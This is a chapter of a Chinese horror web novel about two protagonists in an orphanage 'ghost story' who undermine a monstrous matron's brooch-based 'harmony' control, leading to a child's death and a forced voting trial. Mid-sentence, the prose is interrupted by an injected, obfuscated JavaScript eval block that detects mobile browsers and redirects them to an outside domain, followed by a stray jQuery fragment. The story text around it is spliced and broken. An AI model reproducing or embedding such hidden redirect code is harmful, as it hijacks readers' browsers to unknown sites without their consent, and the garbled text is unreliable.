季青的话语如同投入死水中的石子,激起的却不是涟漪,而是无声的惊雷。
“为什么摘不下来呀,院长妈妈?”
清脆的童音在落针可闻的餐厅里回荡,带着一种天真的残忍,精准地刺向院长妈妈那看似无懈可击的“爱”的表象。
一瞬间,空气仿佛凝固了,窗外的夕阳的最后一点微光消失,餐厅被寒意取代。
“我好像……摘不下来了?它就像……就像长在衣服上了一样。妈妈,这是为什么呀?”
仿佛有无形的波动扫过整个餐厅。
看似童真的疑问,瞬间激活了许多孩子潜意识里被忽略或被压抑的感官记忆和疑虑!
那个总是第一个回答的安瑞宁,手指几不可查地动了一下,下意识想去摸自己领口的胸针,另一个孩子不自然地扭了扭脖子,更多孩子的脸上浮现出困惑和隐隐的不安。
是啊,为什么摘不下来?
为什么明明有时候觉得不舒服,却从没想过要摘掉它?
这种“没想过”,本身就是最不正常的!
季青眼前的红色UI闪烁着,随着整体和谐值的迅速下降,院长妈妈的力量也被削弱。
院长妈妈妈妈能感觉到,脚下那由恐惧和服从构筑的基石,因为这一个简单、具体的问题,而发出了细微却危险的碎裂声。
她精心营造的“家”的温馨假象,在这个关于“胸针为何长在身上”的孩童式疑问面前,显得如此苍白和……诡异。
她那焊死在脸上的笑脸突然碎裂。
一条黑色的裂缝从两侧嘴角开始延伸,慈祥平和的假面皲裂开,大片的皮肤像孤儿院的墙皮一样剥落,露出下面黑洞洞的内里。
季青看到了那黑洞中闪烁的数个红色复眼,童谣突然浮现在她的脑海中:
【门外的蜘蛛吃娃娃】
院长妈妈的脖颈摇晃着,喉咙里发出一种像是老旧齿轮卡住的“咯咯”声,她似乎在极力压制着什么。
“傻孩子……”她的声音嘶哑得可怕,仿佛生锈失调的八音盒,“因为这胸针……是妈妈爱的烙印啊。它代表着你们永远是妈妈的孩子,是家庭的一员。”
“无论你们在哪里,妈妈都能通过它……感受到你们,保护你们。”
她刻意回避了“标记”这种词汇,但模糊回避的解释,几乎等同于确认。
季青要确认的就是这个,她进入孤儿院就被戴上这个铃铛胸针,而当时,院长室里的和谐之钟,读数下降了!
她当时的和谐值低于平均值,和谐之钟的读数才会下降。
所以,虽然被红色人面蛛叮咬后才能看见和谐值UI,但那其实是影响感知的屏蔽系统,用以保持高和谐值孩子们眼中孤儿院的稳定。
其实从戴上胸针时起,她就被纳入和谐值系统了。
进入就要被戴上,且不能被摘下,这个铃铛胸针就就是从孩子们身上掠夺和谐,给院长妈妈提供力量的东西,她就是要捅破这一点!
季青像是恍然大悟般,露出了一个更加灿烂、甚至带着点感动的表情,用力地点了点头,嘴上却说着:
“原来是这样!妈妈的爱一直都在守护着我们啊!那我就不摘了,我要一直戴着,让妈妈永远知道我在哪里,这样妈妈就永远能找到我了!”
她的话语听起来无比真诚,仿佛是院长妈妈“爱之教育”的完美成果。
但听在那些内心刚刚泛起一丝疑虑的孩子耳中,尤其是结合院长妈妈刚才那瞬间的失态,这话语里潜藏的意味,足以让人不寒而栗——无论在哪里……这与其说是保护,不如说是无所遁形的监控,是刻入骨髓的控制。
院长妈妈脸上的皮肤再次抽动了一下,落下更多皮肤,更多的红色复眼暴露在外,向各个方向诡异地转动着,扫视所有孩子。
季青这番“顺杆爬”的表演,让她有种吞了苍蝇般的恶心,却又无法发作。她只能维持着那令人毛骨悚然的笑容,从喉咙深处挤出一个音节:“……嗯。”
【提示:整体和谐值持续下降:50%!】
【警告:检测到多个个体同步异常!系统稳定性受到冲击!】
季青眼前的UI红光大盛,和谐值的明显下跌,让餐厅的气压更低。
她环视四周,那些原本麻木的眼神中,似乎有极少数开始闪烁起微弱的、名为“思考”的火星。这火星虽小,却足以燃起颠覆的火焰。
“看来……今天的分享会让大家有些‘疲惫’了。”院长妈妈的声音失去了所有的柔和,只剩下冰冷的威严,“晚餐结束!所有人,立刻回宿舍休息!今晚,谁也不准离开自己的床铺!”
她没有给常岚发言的机会,游戏的规则在信任制度的崩溃面前,显得如此苍白。
孩子们如同得到特赦,又像是被驱赶的羊群,沉默而迅速地离开餐桌,排着队走向宿舍。
季青和常岚交换了下眼神,都在对方眼中看到了凝重。
动摇信任值的计划比想象中成功,但也意味着更猛烈的风暴即将来临。
深夜的孤儿院宿舍,死寂得如同坟墓,院长妈妈今天还挨个给每个人盖上被子,本是很温馨的动作,可如今她顶着半张破碎的脸,只把一些孩子吓得紧紧闭上了眼睛。
可院长妈妈似乎并不在意,她好像坚信一晚过去,第二天大家又会重新相信自己这个好妈妈,重归和谐。
离开宿舍前,院长妈妈回头,诡异的红色复眼挨个扫过每一个孩子:
“明天早上妈妈再来看你们……看看你们是否团结,是否安心地待在‘家’里……”
门缓缓关上,宿舍静得可怕。
孩子们躺在狭窄的单人床上一动不动,季青来的第一晚,和谐值还不算低,床铺还能说的上是柔软舒适。现在随着和谐值的降低和院长妈妈力量的消散,连床铺都变得阴冷单薄,甚至散发着淡淡霉味。
常岚几次偷偷睁开眼瞄向季青,他有太多想要和季青确认的事情了,进来前发的那些帖子到底有哪些被验证了?找到破解这个怪谈的方法了吗?自己的剑搁哪去了?
可不管心里藏不住事的人怎么焦急,他隔壁床铺那个藏得住事的人却呼吸平稳,好像已经酣然入睡。
哪有这样作乱又不管的!不怕被那个怪物报复吗?
果然,熬到天快亮的时候,异变发生了。
首先是一阵极其轻微的、仿佛无数细小足肢爬过地板的“沙沙”声,从走廊尽头传来,由远及近。
“咚!咚!咚!”
沉重的、撞击房门的声音,在宿舍门外响起。那声音并不响亮,却带着一种穿透人心的力量,震得床板都在微微发颤。
有几个床铺传来了压抑的、被捂住嘴的抽气声。
但下一秒,常岚感觉到一股冰冷的呼吸,吹在了自己的耳后!他猛地睁开眼,侧头看去——床边空空如也!但那冰冷的触感却真实存在。
同一时间,季青的床边,她看到一只苍白修长、指甲尖长的手,正从床底的阴影里缓缓伸出,摸索着想要抓住她的脚踝。
季青屏住呼吸,直到那手指即将触碰到她皮肤的瞬间,才翻了个身,发出一声似醒非醒的嘟囔声。那手顿了一下,又缓缓缩回了阴影里。
徘徊在阴影里的怪物,似乎在每个人的床铺附近试探、挑选……
这是一种精神上的酷刑,旨在磨灭他们刚刚萌芽的独立思考,用恐惧重新铸就忠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449131|185241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诚。
其他孩子就没那么幸运了。
远处的一张床铺突然传来短促的惊叫!
常岚立刻掀开被子冲向发出尖叫声的床铺,掌尖凝聚元炁,一手刀劈向床底的阴影——
也许是身体变小的原因,无论是速度还是力道都比常岚预想中的要弱很多,只慢了这一步,阴影里的怪物就逃开了。
常岚懊恼地坐在地上,直到季青的手轻轻搭在他的肩上,常岚才重新调整好呼吸站起。
只那一瞬,床铺上的孩子就消失了,空余巨量的鲜血染红了整张床,还未干涸的血液顺着床脚流到孩子们脚下。
黎明的第一缕灰白光线透过窗户,冷冷照在床铺中央那系着蓝色丝带的铃铛胸针上。
那个怪物,以这样残酷直白的方式回应季青,如何取下这个胸针。
在所有孩子都默默围在床边时,季青和常岚回过头去,门口正站着院长妈妈,她的脸已经恢复如初。
院长妈妈戴着新的面具上前,表情故作沉痛,脚步却轻快,她搂住孩子们:
“这是……门外的蜘蛛来了对不对……我们失去了一位家人……”
早餐的气氛比昨晚更加压抑。
没有人说话,只有碗勺碰撞的轻微声响。
院长妈妈坐在主位,脸上恢复了那完美的、焊死的慈祥笑容,仿佛昨夜那个制造恐怖的存在与她毫无关系。
当最后一口食物被无声地咽下,院长妈妈用餐巾优雅地擦了擦嘴角,然后轻轻敲了敲杯子。
所有孩子立刻放下餐具,挺直脊背,目光聚焦到她身上。
“孩子们,”院长妈妈的声音温和,却带着不容置疑的决断,“经过昨晚,妈妈相信你们更加深刻地理解了‘家’的意义。”
“昨晚,门外的蜘蛛混在我们中间,吃掉了一位家人,现在我们要想办法找出这个怪物,避免失去更多的家人……”
“所以,为了维护我们这个大家庭的纯粹与安宁,从今天起,我们将增加一项新的……日常活动。”
她顿了顿,眼神缓缓扫过每一张脸,像是在清点自己的藏品,又像是在寻找潜在潜在的不安定因素。
“我们要进行,一场找出怪物的审判。”
一股寒意从每个孩子的脊椎窜上后脑。
“规则很简单。”院长妈妈的声音平静,内容却令人毛骨悚然,“每天早餐后,我们都会坐在这里。每个人,都要说出一个名字——你认为,谁最不像我们的家人。”
“谁……是那个混进我们家中的,怪物。”
“获得票数最多的那一个……”院长的嘴角勾起一个残酷的弧度,“将由妈妈亲手驱逐……直到我们的家重回安宁!”
常岚的双手在桌下紧握着,他才来这里一天,就感受到了如此可怕的恶意。
这不是简单的游戏,而是赤裸裸的生存竞争,是逼着孩子们提高个人和谐值,并互相猜忌、互相指控、互相背叛!
这个怪物要将孩子们刚刚因胸针的真相而动摇的内心,用更残酷的方式重新捆绑在一起,用恐惧和自保的本能,孤立然后扼杀“不和谐的孩子”。
常岚的心沉了下去,季青作为新人,行为“出格”,无疑是众矢之的。如何避免季青成为被投票选出的那个“祭品”,同时还要寻找破解怪谈的方法?
他扭头望向季青,最容易成为众矢之的的季青,此时却平静地靠在椅背上,微微皱着眉,思索着。
院长妈妈离开座位,走到孩子的身后,轻轻牵起他颤抖的手,在他的耳边微笑着说道:
“好孩子,妈妈的好孩子。”
“来,指给妈妈看,你觉得,谁是那个混进来的怪物?”